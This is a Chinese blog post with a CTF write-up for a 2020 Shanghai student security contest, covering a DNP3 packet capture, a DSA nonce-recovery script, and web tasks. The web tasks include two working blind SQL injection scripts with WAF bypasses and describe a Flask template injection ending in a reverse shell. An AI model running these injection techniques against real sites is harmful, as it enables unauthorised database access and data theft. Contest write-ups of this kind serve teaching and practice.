第六届上海市大学生网络安全大赛Write up

太菜了,丢人选手。

MISC

pcap

题目提示找dnp3协议进行分析,于是直接dnp3过滤掉其他协议。
在看dnp3返回包的时候,发现字长不一致,同时91长度的返回包带有flag{}单独字样
于是再次进行过滤dnp3.len > 20&&dnp3.len < 30,按顺序逐个看91长度的返回包,得到

签到

Crypto

baby_dsa

dsa 的安全性问题

DSA的签名过程中,k是随机而且保密的,如果知道k,可以根据r和s计算出私钥x。 同理,如果两个消息使用了相同的k,或者两个k之间有联系,比如使用的是k和k+1,这样的情况下即使k保密,也是危险的,因为这时 x 和 k 可以看作两个未知数,解方程即可得。

本题解法

本题中的 k1, k2 由固定值乘一个(1, 512)间的随机数得到,因此可以考虑穷举,如下

def hash(message): return int(sha512(message.encode()).hexdigest(), 16)
message1 = '0234e7971889def7e60348f77db94b7a' message2 = '16c5ac270b72f70319657b4410d985d4' hm1 = hash(message1) hm2 = hash(message2)
r1 = 10859236269959765735236393779936305217305574331839234502190226708929991582386 r2 = 41960642246379067640524709416001536058292817319109764317369777224426218746518 s1 = 13707557323895695260471053137828523837745895683218331343360027380310980108819 s2 = 74676725322515593502346275468843411563746982149373670021082686341369076719088
(p, q, g, y) = ( 3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533, 82302835442112137125891403368151249910268706824854786126600390413622302196443, 1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005, 290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053 )
invertR1 = inverse(r1, q) invertR2 = inverse(r2, q)
newM = (invertR1 * hm1 - invertR2 * hm2) % q
newinr1 = invertR1 * s1 % q newinr2 = invertR2 * s2 % q
for t1 in range(2, 512):
for t2 in range(2, 512):
tmpin1 = newinr1 * t1 % q
tmpin2 = newinr2 * t2 % q
tmp = (tmpin1 - tmpin2) % q
gg = inverse(tmp, q)
target = gg * newM % q
k1 = target * t1 % q
k2 = target * t2 % q
privkey = invertR1 * (s1 * k1 - hm1) % q
if pow(g, k1, p) % q == r1 and pow(g, k2, p) % q == r2:
print(k1)
k1 = 77848834446550608347531937137939661582784844474315975183877393841202843491327 priv = invertR1 * (s1 * k1 - hm1) % q
flag = 'flag{'+md5(longtobytes(priv)).hexdigest()+'}'
print(flag)

WEB

千毒网盘

首先是源码泄露,访问/www.zip得到index.php和code.php
然后进行代码审计,通过GET传参数“_POST[code]”的方式绕过
$safe = preg_match('/union|select|flag|in|or|on|where|like|'/is', $string);
绕过waf之后,开始编写脚本进行盲注,这里采用了时间延迟盲注,先获取长度,然后是表名,再获取flag。

import requests
import time

value = "0123456789abcdefghijklmnopqrstuvwxyz{}()%&^@_.-!"
result = ""

def get_length():
    for n in range(1, 100):
        payload = "114514' and if((length(({0} ))={1}),sleep(2),1) or '".format(data_payload, n)
        data = {"code": payload}
        start_time = time.time()
        html = requests.post(url=url+payload, data=data)
        end_time = time.time()
        use_time = end_time - start_time 
        if use_time > 1:
            print("...... data's length is :" + str(n))
            return n

def get_data(length):  
    global result
    for n in range(1, length):
        for v in value:
            payload = "114514' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) or '".format(data_payload, n,
                                                                                                 ord(v))
            data = {"code": payload}
            start_time = time.time()
            requests.post(url=url+payload, data=data)
            end_time = time.time()
            use_time = end_time - start_time 
            if use_time > 4:
                result += v
                print("......" + result)

def get_flag():
    global result
    for n in range(1, 50):
        for v in value:
            payload = "114514' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(4),1) or '".format(data_payload, n,
                                                                                                 ord(v))
            data = {"code": payload}
            start_time = time.time()
            requests.post(url=url+payload, data=data)
            end_time = time.time()
            use_time = end_time - start_time 
            if use_time > 3:
                result += v
                print("......" + result)

url = "http://eci-2ze006f3h1dkfe9lveq5.cloudeci1.ichunqiu.com/index.php?_POST[code]="

#data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
data_payload = "select * from flag"

#length = get_length() 
#print(length)
#get_data(length)
get_flag()
print(".....data is :" + result)

flag{2946ceb5-db1d-4023-8909-97814c38f654}

Hello

F12查看源码发现/help,然后获取python源码
发现是flask注入,但是{{被过滤,然后用{%进行代替
然后构造payload,通过反弹shell的方式将信息传到本地服务器上,本地监听9002端口

TryToLogin

传值之后F12看源码,发现提示/file=,猜测是文件包含,然后进行读网页源码,/proc/self/cwd/index.php,再看index.php中提示class.php,读取class.php。
然后发现有waf,inn和or被过滤
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
通过查询资料发现
SELECT TABLE_NAME FROM sys.x$ps_schema_table_statistics_io WHERE TABLE_SCHEMA = DATABASE();也可以注出表名。
于是先通过二分法盲注获取表名,得到表名fl4g后,注出flag,这里附脚本

import requests

url = "http://eci-2ze6d5v7ffp90nh5ml4d.cloudeci1.ichunqiu.com/"
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = f"ascii(substr((select `1` from(select 1 union select group_concat(table_name) from `sys`.`x$ps_schema_table_statistics_io` where table_schema=database())a limit 1,1),{x},1))>{mid}"
        payload = f"ascii(substr((select `1` from(select 1 union select * from fl4g)a limit 1,1),{x},1))>{mid}"
        data = {
            'username': 'admin',
            'password': f'%1$\' || if(({payload}),1,0)#'
        }
        # print(mid)
        res = requests.post(url, data=data)
        response = requests.post(url, data=data)
        # print(response.text)
        if response.status_code == 200:
            if '登录成功了!' in response.text:
                low = mid + 1
            else:
                high = mid

            mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

flag{d2848e24-6592-4483-b2d4-9c6580f067c2}

posted @ 2020-11-15 16:21  seven昔年  阅读(324)  评论(0编辑  收藏  举报